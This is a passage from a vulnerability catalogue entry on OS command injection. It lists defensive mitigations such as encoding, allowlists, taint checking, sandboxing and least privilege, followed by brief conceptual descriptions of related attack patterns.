- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.